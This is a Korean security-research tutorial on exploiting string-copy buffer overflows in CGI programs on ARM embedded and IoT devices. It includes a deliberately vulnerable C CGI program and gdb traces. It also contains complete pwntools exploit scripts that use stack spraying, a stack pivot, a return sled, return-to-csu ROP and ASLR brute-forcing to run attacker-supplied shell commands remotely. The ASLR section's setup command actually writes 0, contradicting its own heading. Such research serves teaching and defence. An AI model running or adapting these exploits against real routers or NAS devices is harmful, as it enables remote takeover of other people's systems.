목록으로보안 취약점 연구

Common ways to exploit CGI Buffer overflow.

김도현

목차

Common ways to exploit CGI Buffer overflow.

다양한 임베디드 서비스 및 IoT에서 사용되는 CGI 프로그램을 공격하는 일반적인 방법에 대해 알아 보겠습니다.

Common Gateway Interface

CGI는 웹 서버상에서 사용자 프로그램을 동작시키기 위한 조합입니다. 존재하는 많은 웹 서버 프로그램은 CGI의 기능을 이용할 수 있습니다. CGI는 환경변수나 표준입출력을 다룰 수 있는 프로그램 언어에서라면 언어의 구별을 묻지 않고 확장하여 이용하는 것이 가능하나, 실행속도나 텍스트 처리의 용이함 등의 균형에 의해 펄이 사용되는 경우가 많았습니다.[^1]

CGI는 주로 Router, NAS와 같은 다양한 Embedded device, IoT Service를 위해 사용됩니다.

plain text
                | Server
                |
+--------+      |       +-------------+       +-------------+
| Client |<=---HTTP---=>| HTTP Server |<=---=>| CGI Program |
+--------+      |       +-------------+       +-------------+
                |
                |

CGI: How-to

Lighttpd[^2]와 같이 HTTP 프로토콜을 처리하여 CGI 프로그램으로 전달 할 수 있는 웹 서버 역할을 하는 프로그램을 한가지 선정합니다. 그 후에 CGI 규약에 맞게 프로그램을 작성하면 됩니다. 본 챕터에서는 공격하기 위해 알아야하는 몇가지를 설명하겠습니다.

환경변수

환경변수에는 HTTP 프로토콜을 통해 클라이언트에게 제공받은 정보가 저장됩니다.

임의로 변조된 사용자의 값이 전달 될 수 있는 벡터는 다음과 같습니다.[^3]

  • HTTP_COOKIE : 클라이언트의 Cookie입니다.
  • HTTP_USER_AGENT : 클라이언트의 User agent입니다.
  • QUERY_STRING : 클라이언트에게 제공받은 GET 쿼리 문자열입니다.

표준입출력

표준 출력을 통해 cgi 페이지로 접근한 클라이언트에게 그 내용을 전달할 수 있습니다.

POST와 같은 HTTP Method를 서비스 하기 위해 CGI에서는 표준입력을 사용합니다. POST의 데이터를 전달 받기 위해서는 단순히 표준입력을 받기만 하면 우리는 POST를 통해 전달 된 데이터를 받아낼 수 있습니다.

CGI 공격

vuln.c

c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

char *param;
int param_count;

static inline char h2c(char h) // F -> 15
{
    if (h >= 'a' && h <= 'f')
        return h - 'a' + 0xa;
    if (h >= 'A' && h <= 'F')
        return h - 'A' + 0xa;
    return h - '0';
}

char u2c(char *u) // %00 -> \x00
{
    char ret = 0;

    if (*u == '%')
    {
        ret += h2c(*(u+1)) * 0x10;
        ret += h2c(*(u+2)) * 0x01;
    }

    return ret;
}

int urldecode(char *s)
{
    int index1 = 0;
    int index2 = 0;

    if (!s)
        return 1;

    if (s[index2] == '?')
        index2++;

    param = s;
    param_count = 0;

    while (s[index2])
    {
        if (s[index2] == '%')
        {
            s[index1++] = u2c(s+index2);
            index2 += 3;
        }
        else if (s[index2] == '&')
        {
            s[index1++] = '\0';
            index2++;
        }
        else
        {
            if (s[index2] == '=')
                param_count++;
            s[index1++] = s[index2++];
        }
    }

    s[index1] = '\0';

    return 0;
}

int get_val(char *name, char *dest, size_t size)
{
    int err = 1;
    char *param_c = param;
    size_t param_len = strlen(param_c);
    size_t name_len = strlen(name);

    if (!param || !param_count)
    {
        printf("no query.\n");
        return 1;
    }

    for (int i = 0; i < param_count; i++)
    {
        if (!memcmp(name, param_c, name_len) && param_c[name_len] == '=')
        {
            param_c += name_len + 1;
            strncpy(dest, param_c, size);
            err = 0;
            break;
        }
        else
        {
            param_c += param_len+1;
            param_len = strlen(param_c);
        }
    }

    return err;
}

int main(int argc, char **argv, char **envp)
{
    char out[512];
    char cmd[256];
    char buf[256];

    if (urldecode(getenv("QUERY_STRING")))
    {
        printf("urldecode error.\n");
        return -1;
    }

    memset(out, 0, sizeof(out));
    memset(cmd, 0, sizeof(cmd));
    memset(buf, 0, sizeof(buf));

    if (!get_val("time", buf, sizeof(buf)) && buf[0] == 'y')
        strcat(cmd, "echo '- time ------' >> /tmp/out && date >> /tmp/out;");
    if (!get_val("ifconfig", buf, sizeof(buf)) && buf[0] == 'y')
        strcat(cmd, "echo '- ifconfig --' >> /tmp/out && ifconfig bond0 >> /tmp/out;");
    if (!get_val("uname", buf, sizeof(buf)) && buf[0] == 'y')
        strcat(cmd, "echo '- uname -----' >> /tmp/out && uname -a >> /tmp/out;");

    system("rm -f /tmp/out");
    system(cmd);

    int fd;
    if ((fd = open("/tmp/out", O_RDONLY)) < 0)
        return -1;
    read(fd, out, sizeof(out));
    close(fd);

    if (!get_val("comment", buf, 0x100))
        strcat(out, buf);

    puts(out);
    return 0;
}

위 샘플 코드는 시스템의 time, ifconfig, uname의 결과값을 출력 해 주는 간단한 프로그램입니다.

  • L109 QUERY_STRING을 통해 인풋 받는 GET Query의 디코딩을 처리합니다.
  • L119~124 time, ifconfig, uname을 실행하는 명령어 조합을 cmd 버퍼에 복사합니다.
  • L126~127 /tmp/out을 삭제 후 cmd 버퍼의 내용대로 명령어를 실행합니다.
  • L129~133 /tmp/out 파일을 읽어 out버퍼에 복사합니다.
  • L135~136 comment 의 값이 유효할 경우 그 값을 out 버퍼에 복사합니다.
  • L138 out을 출력합니다.

L136에서 strncat 대신 strcat[^4]을 사용하기 때문에, out 버퍼에 이미 많은 양의 데이터가 채워져 있을 경우의 예외를 처리하지 않습니다. 이로 인해 Buffer overflow[^5]가 발생하게 됩니다.

취약점 증명

취약점을 증명하기 위해 간단히 웹 브라우저를 사용할 수 있습니다.

위는 정상적인 프로그램의 실행 흐름을 나타냅니다.

위는 다수의 데이터를 comment 파라미터를 통해 전달 할 경우를 보여줍니다.

Lighttpd의 경우 다음과 같이 core dump를 활성화 시킬 수 있습니다. cgi 프로그램이 존재하는 디렉토리에 core dump가 생성됩니다.

plain text
$ echo 'server.core-files = "enable"' >> /etc/lighttpd.conf
$ kill -9 `pidof lighttpd`
$ lighttpd -f /etc/lighttpd.conf -m /usr/local/lib

그 후, 해당 프로그램의 core dump를 확인합니다.

plain text
/home/314ckC47 # ./gdb -q -c /path/to/core
[New LWP 6007]
Core was generated by `vuln.cgi'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616160 in ?? ()
(gdb) i r pc
pc             0x61616160       0x61616160

$pc 레지스터가 변조 된 것을 알 수 있습니다.

공격 제약

일반적인 BOF 공격은 Return Oriented Programming(ROP)[^6]을 주로 사용합니다.

하지만 이번 취약점을 공격하기에는 몇가지 제약이 있습니다.

  • 문자열 복사를 통해 발생하는 Buffer overflow이기 때문에, ROP Payload에 Null byte가 포함 될 경우 성공적으로 공격을 수행할 수 없습니다.
  • 공격에 사용할 수 있는 정적인 주소가 프로그램(vuln.cgi)이 로드 된 지점밖에 없습니다.
  • 프로그램이 로드 된 주소값의 상위 1바이트는 Null-byte입니다.

이런 상황에서 구상할 수 있는 Payload는 다음과 같습니다.

plain text
<= 0x00000000                       0xffffffff =>
+-----+-(out)---------------+-(BP)-+-(PC)-+-----+
| ... | ............ 'a'*63 | BASE | JUMP | ... |
+-----+---------------------+------+------+-----+
                      === Overflow ==>
  • JUMP에는 상위 1바이트가 Null-byte인 주소값을 삽입할 수 있습니다.
  • BASE에는 Null-byte가 존재하지 않는 어떤 값을 삽입할 수 있습니다.

이런 모든 조건을 종합 해 보았을 때, 우리는 다음과 같이 공격을 구상해야합니다.

  • PC를 단 한번 변조하여 공격자가 원하는 코드의 흐름을 획득 해야합니다.
    • 연속적인 함수의 호출 또는 인자의 구성을 위해 Null-byte를 삽입할 수 있는 영역이 필요합니다.
    • 연속적인 함수의 호출 또는 인자의 구성을 위해 SP를 변조할 수 있어야 합니다.

Stack spray

QUERY_STRING 환경변수는 스택에 저장되어 있습니다. 이를 활용하면 다음과 같이 Stack spray를 시도 할 수 있습니다.

python
#!/usr/bin/python3

from pwn import *

e = ELF("./vuln")

def form_packet(ip, param):
    packet  = ""
    packet += "GET http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
    packet += "Host: {}\r\n".format(ip)
    packet += "Connection: keep-alive\r\n"
    packet += "Content-Length: 0\r\n"
    packet += "User-Agent: Mozilla/5.0\r\n"
    packet += "Accept: */*\r\n"
    packet += "Origin: http://{}\r\n".format(ip)
    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
    packet += "Accept-Encoding: gzip, deflate\r\n"
    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
    packet += "\r\n"
    return packet.encode()

def form_param(payload, spray):
    return "&".join(["ifconfig=y", "comment="+payload, "s="+spray])

def exploit(ip):
    payload = 'a'*63 + "STCK" + "JUMP"
    spray   = 'b'*0x10000
    param   = form_param(payload, spray)
    packet  = form_packet(ip, param)

    p = remote(ip, 80)
    p.send(packet)
    r = p.recv(1024).decode()
    log.info(r)
    p.close()

if __name__ == "__main__":
    if (len(sys.argv) == 2):
        exploit(sys.argv[1])
    else:
        print("{} [target-ip]".format(sys.argv[0]))

실제로 스택에 스프레이가 되었는지 확인합니다.

plain text
(gdb) x/16wx $sp+0x380
0xbec65db8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbec65dc8:     0x64646161      0x44446464      0x73004444      0x6262623d
0xbec65dd8:     0x62626262      0x62626262      0x62626262      0x62626262
0xbec65de8:     0x62626262      0x62626262      0x62626262      0x62626262
(gdb) x/16wx $sp+0x380+0x10000
0xbec75db8:     0x62626262      0x62626262      0x62626262      0x62626262
0xbec75dc8:     0x62626262      0x62626262      0x62626262      0x45520062
0xbec75dd8:     0x53455551      0x52555f54      0x762f3d49      0x2e6e6c75
0xbec75de8:     0x3f696763      0x6f636669      0x6769666e      0x6326793d
(gdb)

스프레이가 잘 되었음을 확인 했습니다.

또한 Null-byte의 삽입이 가능한지의 여부를 확인합니다.

python
# ...
def exploit(ip):
    payload = 'a'*63 + 'dddd' + 'DDDD'
    spray   = '%00'*4 + 'b'*(0x10000-12)
    param   = form_param(payload, spray)
    packet  = form_packet(ip, param)
# ...

4바이트의 null을 삽입 해 봅니다.

plain text
(gdb) x/16wx $sp+0x380
0xbed44db8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbed44dc8:     0x64646161      0x44446464      0x73004444      0x0000003d
0xbed44dd8:     0x62626200      0x62626262      0x62626262      0x62626262
0xbed44de8:     0x62626262      0x62626262      0x62626262      0x62626262
(gdb) x/16wx $sp+0x380+0x10000
0xbed54db8:     0x62626262      0x62626262      0x62626262      0x62626262
0xbed54dc8:     0x62626262      0x62620062      0x62626262      0x45520062
0xbed54dd8:     0x53455551      0x52555f54      0x762f3d49      0x2e6e6c75
0xbed54de8:     0x3f696763      0x6f636669      0x6769666e      0x6326793d
(gdb)

Null-byte를 삽입할 수 있는 영역임을 확인 했습니다.

Stack Pointer 변조

armv7에서 R11 레지스터는 x86의 ebp와 같은 역할을 수행합니다.

plain text
(gdb) disas main
...
   0x00010c9c <+624>:   mov     r0, r3      // -- main epilogue --
   0x00010ca0 <+628>:   sub     sp, r11, #4 // r11(bp)에서 4를 뺀 값을 sp에 저장합니다.
   0x00010ca4 <+632>:   pop     {r11, pc}   // 스택에서 r11, pc를 순차적으로 pop합니다.
...

이를 활용하면 Stack pointer(sp)를 변조할 수 있습니다.

아래와 같은 순서의 명령을 수행한다고 가정합니다.

plain text
### Stage 1 ######################################################
+-Code-------------+---------------------------------------------+
| pc  > 0x00010ca0 | sub  sp, r11, #4                            |
|       0x00010ca4 | pop  {r11, pc}                              |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f00                                               |
| r11   0xbfff8f14                                               |
+----------------------------------------------------------------+

### Stage 2 ######################################################
+-Code-------------+---------------------------------------------+
|       0x00010ca0 | sub  sp, r11, #4                            |
| pc  > 0x00010ca4 | pop  {r11, pc}                              |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f10 *                                             |
| r11   0xbfff8f14                                               |
+----------------------------------------------------------------+
* r11에서 4를 뺀 값을 sp에 넣었습니다.

### Stage 3 ######################################################
+-Code-------------+---------------------------------------------+
| pc  > 0x00010ca0 | sub  sp, r11, #4                            |
|       0x00010ca4 | pop  {r11, pc}                              |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f10                                               |
| r11   0xbfff8f24 *                                             |
+----------------------------------------------------------------+
* sp(0xbfff8f10)에서 r11, pc를 pop 했습니다.

### Stage 4 ######################################################
+-Code-------------+---------------------------------------------+
|       0x00010ca0 | sub  sp, r11, #4                            |
| pc  > 0x00010ca4 | pop  {r11, pc}                              |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f20 *                                             |
| r11   0xbfff8f24                                               |
+----------------------------------------------------------------+
* r11에서 4를 뺀 값을 sp에 넣었습니다.
  sp의 값이 우리가 원하는 값(0xbfff8f20)으로 변조되었습니다.
  
### Stage 5 ######################################################
+-Code-------------+---------------------------------------------+
| pc  > 0x41414141 | ........................................... |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f28                                               |
| r11   0x41414141                                               |
+----------------------------------------------------------------+
* pc와 r11이 변조되었습니다.

위와 같은 방법으로 연속적인 함수의 호출 또는 인자의 구성을 위해 SP를 변조할 수 있습니다.

공격코드 작성

위 두가지 방법을 이용하면 다음과 같은 흐름으로 공격을 수행합니다.

  1. QUERY_STRING을 전달함으로 BOF를 발생시키고, 스택에 ROP Payload를 spray합니다.
  2. SP를 Stack spray된 영역으로 변조합니다.
  3. ROP Payload를 수행합니다.
    1. ASLR이 비활성화 되어있으면, ROP Payload를 즉각적으로 수행 할 수 있습니다.
    2. ASLR이 활성화 되어있으면, SP가 잘못된 영역을 역참조 할 수 있습니다. 이럴경우, 1을 다시 수행합니다.

Case: ASLR 비활성화

다음과 같이 ASLR을 비활성화 할 수 있습니다.

plain text
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0

ASLR이 비활성화 된 후, 스프레이를 먼저 수행하여 core dump를 확인합니다.

plain text
(gdb) x/32wx $sp+0x380
0xbefe1d98:     0x6161616b      0x6161616c      0x6161616d      0x6161616e
0xbefe1da8:     0xbefe1ddc      0x44444444      0x3d737300      0x41414141
0xbefe1db8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbefe1dc8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbefe1dd8:     0x41414141      0x41414141      0x41414141      0x41414141

Stack spray가 0xbefe1db4에서 시작합니다. 해당 주소로 sp를 변조합니다.

python
SPRAY_LEN = 0xf000
leave  = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}

def payload(r11, lr, dummy_len):
    payload = cyclic(dummy_len).decode()
    payload += purl32(r11)
    payload += purl32(lr)
    return payload

def spray():
    spray = "A"*SPRAY_LEN
    return spray

def exploit():
# ...
    stack  = 0xbefe1db4+4
    pload  = payload(stack, leave, dummy_len)
    param  = form_param(pload, spray())
    packet = form_packet(ip, param, command)
# ...

위의 코드를 실행 후 다시 gdb로 확인합니다.

plain text
(gdb) x/16wx $sp-0x10
0xbefe1dac:     0x00010ca0      0x3d737300      0x41414141      0x41414141
0xbefe1dbc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbefe1dcc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbefe1ddc:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) i r pc
pc             0x41414140       0x41414140
(gdb)

정상적으로 pc가 변조되었습니다.

Return sled

Return sled를 이용하여 스프레이한 영역의 어느곳으로 sp, pc가 변조되어도 공격자의 ROP Payload가 실행되도록 합니다.

plain text
0x00010ca4: pop {r11, pc}
0x000108e0: pop {r4, r11, pc}

위의 두 가젯을 활용합니다.

plain text
      ...
|  0x00010ca4
|  0x00010ca4
|  0x000108e0
|  0x00010ca4 # r4
|  0x41414141 # r11
V  [ROP HERE] # pc
python
def spray():
    # ...
	spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
    spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
    spray += rop
    
    return spray

ROP

Return-to-csu를 활용합니다.

python
def chain(func, r0, r1, r2):
    c = ''
    c += purl32(0x00000000) # r4
    c += purl32(func)       # [r5] => r3
    c += purl32(0x00000000) # r6
    c += purl32(r0)         # r7 => r0
    c += purl32(r1)         # r8 => r1
    c += purl32(r2)         # r9 => r2
    c += purl32(0x00000000) # r10
    c += purl32(csu_2)      # pc
    return c

def spray():
    #...
	# Return-to-csu.
    rop = purl32(csu_1)

    # Set bss:0x20 to get_val address.
    for i in range(4):
        addr = e.bss(0x20+i)
        value = e.symbols['get_val'] >> (i*8) & 0xff
        rop += chain(e.got['memset'], addr, value, 1)

    # get_val("t", bss:0x24, 2): returns "sh"
    rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
    rop += chain(e.got['system'], e.bss(0x24), 0, 0)
    #...
  • chain() 함수는 Return-to-csu 가젯을 자동으로 구성 해 줍니다.
  • L18~22 : bss:0x20 지점에 get_val 함수의 포인터를 작성합니다.
  • L25 : get_val 함수를 이용해 QUERY_STRING에서 t 쿼리의 값을 bss:0x24 지점에 작성합니다. 그 값은 "sh" 입니다.
  • L26 : system 함수를 이용해 쉘을 실행시킵니다.

명령어 전달

ROP Payload가 수행되고 나면, 쉘 프로세스가 실행되고, 명령어 입력까지 대기합니다.

POST 메소드를 이용해 Standard input으로 쉘 명령을 전달하여 실행시킵니다.

python
def form_packet(ip, param, content=''):
    packet  = ""
    packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
    packet += "Host: {}\r\n".format(ip)
    packet += "Connection: keep-alive\r\n"
    packet += "Content-Length: {}\r\n".format(len(content))
    packet += "User-Agent: Mozilla/5.0\r\n"
    packet += "Accept: */*\r\n"
    packet += "Origin: http://{}\r\n".format(ip)
    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
    packet += "Accept-Encoding: gzip, deflate\r\n"
    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
    packet += "\r\n"
    packet += content
    packet += "\r\n"
    return packet.encode()

안정화 작업

python
def exploit(ip, command):

    # ifconfig's output length is not fixed.
    # So, we need to get the buffer first to calculate
    # the overflow size.
    log.info("Getting buffer.")
    packet = form_packet(ip, form_param())
    p = remote(ip, 80)
    p.send(packet)
    r = p.recv().decode()
    r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
    dummy_len = 0x204 - len(r)
    p.close()

    log.info("Exploit.")
    stack  = 0xbefe1db4+4
    pload  = payload(stack, leave, dummy_len)
    param  = form_param(pload, spray())
    packet = form_packet(ip, param, command)
    p = remote(ip, 80)
    p.send(packet)
    p.close()

    log.info("Success!")

ifconfig 명령의 출력값의 길이가 고정되어있지 않습니다.

오버플로우 사이즈를 안정적으로 계산하기 위해 ifconfig 명령 결과 버퍼의 길이값을 측정하고, 계산합니다.

no-ASLR 공격 코드

python
#!/usr/bin/python3

from pwn import *

e = ELF("./vuln")

# Globals & Defines
spray_fix = ''
SPRAY_LEN = 0xf000
EADDR_LEN = 12

# Gadgets
sled_1 = 0x00010ca4 # pop {r11, pc}
sled_2 = 0x000108e0 # pop {r4, r11, pc}
csu_1  = 0x00010d28
csu_2  = 0x00010d0c
leave  = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}

# ETC.
str_t = 0x10e66

def purl32(value):
    a = (value & 0x000000ff) >> 0
    b = (value & 0x0000ff00) >> 8
    c = (value & 0x00ff0000) >> 16
    d = (value & 0xff000000) >> 24
    return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)

def form_packet(ip, param, content=''):
    packet  = ""
    packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
    packet += "Host: {}\r\n".format(ip)
    packet += "Connection: keep-alive\r\n"
    packet += "Content-Length: {}\r\n".format(len(content))
    packet += "User-Agent: Mozilla/5.0\r\n"
    packet += "Accept: */*\r\n"
    packet += "Origin: http://{}\r\n".format(ip)
    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
    packet += "Accept-Encoding: gzip, deflate\r\n"
    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
    packet += "\r\n"
    packet += content
    packet += "\r\n"
    return packet.encode()

def form_param(payload='', spray=''):
    p = ["t=sh", "ifconfig=y"]
    if payload:
        p.append("comment="+payload)
    if spray:
        p.append("ss="+spray)
    return "&".join(p)

def payload(r11, lr, dummy_len=54):
    payload = cyclic(dummy_len).decode()
    payload += purl32(r11)
    payload += purl32(lr)
    return payload

def chain(func, r0, r1, r2):
    c = ''
    c += purl32(0x00000000) # r4
    c += purl32(func)       # [r5] => r3
    c += purl32(0x00000000) # r6
    c += purl32(r0)         # r7 => r0
    c += purl32(r1)         # r8 => r1
    c += purl32(r2)         # r9 => r2
    c += purl32(0x00000000) # r10
    c += purl32(csu_2)      # pc
    return c

def spray():

    # If we already got spray buffer, use it.
    global spray_fix
    if len(spray_fix):
        return spray_fix

    # Return-to-csu.
    rop = purl32(csu_1)

    # Set bss:0x20 to get_val address.
    for i in range(4):
        addr = e.bss(0x20+i)
        value = e.symbols['get_val'] >> (i*8) & 0xff
        rop += chain(e.got['memset'], addr, value, 1)

    # get_val("t", bss:0x24, 2): returns "sh"
    rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
    
    # system("sh")
    rop += chain(e.got['system'], e.bss(0x24), 0, 0)

    # Forming spray.
    spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
    spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
    spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
    spray += rop

    # Fix the spray buffer.
    spray_fix = spray

    return spray

def exploit(ip, command):

    # ifconfig's output length is not fixed.
    # So, we need to get the buffer first to calculate
    # the overflow size.
    log.info("Getting buffer.")
    packet = form_packet(ip, form_param())
    p = remote(ip, 80)
    p.send(packet)
    r = p.recv().decode()
    r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
    dummy_len = 0x204 - len(r)
    p.close()

    log.info("Exploit.")
    stack  = 0xbefe1db4+4
    pload  = payload(stack, leave, dummy_len)
    param  = form_param(pload, spray())
    packet = form_packet(ip, param, command)
    p = remote(ip, 80)
    p.send(packet)
    p.close()

    log.info("Success!")

if __name__ == "__main__":
    if (len(sys.argv) == 3):
        exploit(sys.argv[1], sys.argv[2])
    else:
        print("{} [target-ip] [shell command]".format(sys.argv[0]))
plain text
bc@machine $ ./exploit.py 172.16.13.9 'echo PWNED > /tmp/pwned'
[*] '/mnt/c/Users/314ckC47/Documents/CGI Exploitation/source/vuln'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
[*] Getting buffer.
[*] Exploit.
[*] Success!
plain text
/home/314ckC47 $ cat /tmp/pwned
PWNED

Case: ASLR 활성화

다음과 같이 ASLR을 활성화합니다.

plain text
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0

종료 조건

sp가 참조하는 지점에 대해 Brute-forcing을 수행합니다. Brute-forcing의 종료 조건을 위해 ROP Payload가 성공적으로 수행 될 경우 프로그램을 abort시켜 500 Internal error를 발생시키지 않도록 합니다.

python
    # system("sh")
    rop += chain(e.got['system'], e.bss(0x24), 0, 0)

    # abort
    rop += "AAAA"*7 + purl32(abort)

ASLR 공격 코드

python
#!/usr/bin/python3

from pwn import *

e = ELF("./vuln")

# Globals & Defines
spray_fix = ''
SPRAY_LEN = 0xf000
EADDR_LEN = 12

# Gadgets
sled_1 = 0x00010ca4 # pop {r11, pc}
sled_2 = 0x000108e0 # pop {r4, r11, pc}
csu_1  = 0x00010d28
csu_2  = 0x00010d0c
leave  = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}

# ETC.
str_t = 0x00010e66
abort = 0x0001055c

def purl32(value):
    a = (value & 0x000000ff) >> 0
    b = (value & 0x0000ff00) >> 8
    c = (value & 0x00ff0000) >> 16
    d = (value & 0xff000000) >> 24
    return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)

def form_packet(ip, param, content=''):
    packet  = ""
    packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
    packet += "Host: {}\r\n".format(ip)
    packet += "Connection: keep-alive\r\n"
    packet += "Content-Length: {}\r\n".format(len(content))
    packet += "User-Agent: Mozilla/5.0\r\n"
    packet += "Accept: */*\r\n"
    packet += "Origin: http://{}\r\n".format(ip)
    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
    packet += "Accept-Encoding: gzip, deflate\r\n"
    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
    packet += "\r\n"
    packet += content
    packet += "\r\n"
    return packet.encode()

def form_param(payload='', spray=''):
    p = ["t=sh", "ifconfig=y"]
    if payload:
        p.append("comment="+payload)
    if spray:
        p.append("ss="+spray)
    return "&".join(p)

def payload(r11, lr, dummy_len=54):
    payload = cyclic(dummy_len).decode()
    payload += purl32(r11)
    payload += purl32(lr)
    return payload

def chain(func, r0, r1, r2):
    c = ''
    c += purl32(0x00000000) # r4
    c += purl32(func)       # [r5] => r3
    c += purl32(0x00000000) # r6
    c += purl32(r0)         # r7 => r0
    c += purl32(r1)         # r8 => r1
    c += purl32(r2)         # r9 => r2
    c += purl32(0x00000000) # r10
    c += purl32(csu_2)      # pc
    return c

def spray():

    # If we already got spray buffer, use it.
    global spray_fix
    if len(spray_fix):
        return spray_fix

    # Return-to-csu.
    rop = purl32(csu_1)

    # Set bss:0x20 to get_val address.
    for i in range(4):
        addr = e.bss(0x20+i)
        value = e.symbols['get_val'] >> (i*8) & 0xff
        rop += chain(e.got['memset'], addr, value, 1)

    # get_val("t", bss:0x24, 2): returns "sh"
    rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val

    # system("sh")
    rop += chain(e.got['system'], e.bss(0x24), 0, 0)

    # abort
    rop += "AAAA"*7 + purl32(abort)

    # Forming spray.
    spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
    spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
    spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
    spray += rop

    # Fix the spray buffer.
    spray_fix = spray

    return spray

def exploit(ip, command):

    # ifconfig's output length is not fixed.
    # So, we need to get the buffer first to calculate
    # the overflow size.
    log.info("Getting buffer.")
    packet = form_packet(ip, form_param())
    p = remote(ip, 80)
    p.send(packet)
    r = p.recv().decode()
    r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
    dummy_len = 0x204 - len(r)
    p.close()

    log.info("Exploit.")
    while True:
        stack  = 0xbefe1dd4
        pload  = payload(stack, leave, dummy_len)
        param  = form_param(pload, spray())
        packet = form_packet(ip, param, command)
        p = remote(ip, 80)
        p.send(packet)
        r = p.recv()
        p.close()
        if r.find(b"200 OK") != -1:
            break

    log.info("Success!")

if __name__ == "__main__":
    if (len(sys.argv) == 3):
        exploit(sys.argv[1], sys.argv[2])
    else:
        print("{} [target-ip] [shell command]".format(sys.argv[0]))

끝내면서

CGI를 공격하는 방법에 대해 알아보았습니다. 일반적으로 웹 CGI 프로그램 혹은 CGI는 문자열을 처리하는 코드가 많습니다. 문자열을 처리하는 코드에서 주로 발생할 수 있는 String copy buffer overflow의 공격 방법에 대해 알아보았고, 안정적인 공격 코드를 작성하는 법에 대해 알아 보았습니다.

추가적인 질문 사항과 수정사항은 [email protected]으로 남겨 주시면 감사하겠습니다.

[^`1]: Wikipedia: 공용 게이트웨이 인터페이스 [^2]: https://www.lighttpd.net/ [^3]: CGI Environment Variables [^4]: strcat [^5]: Buffer overflow

[^6]: Return oriented programming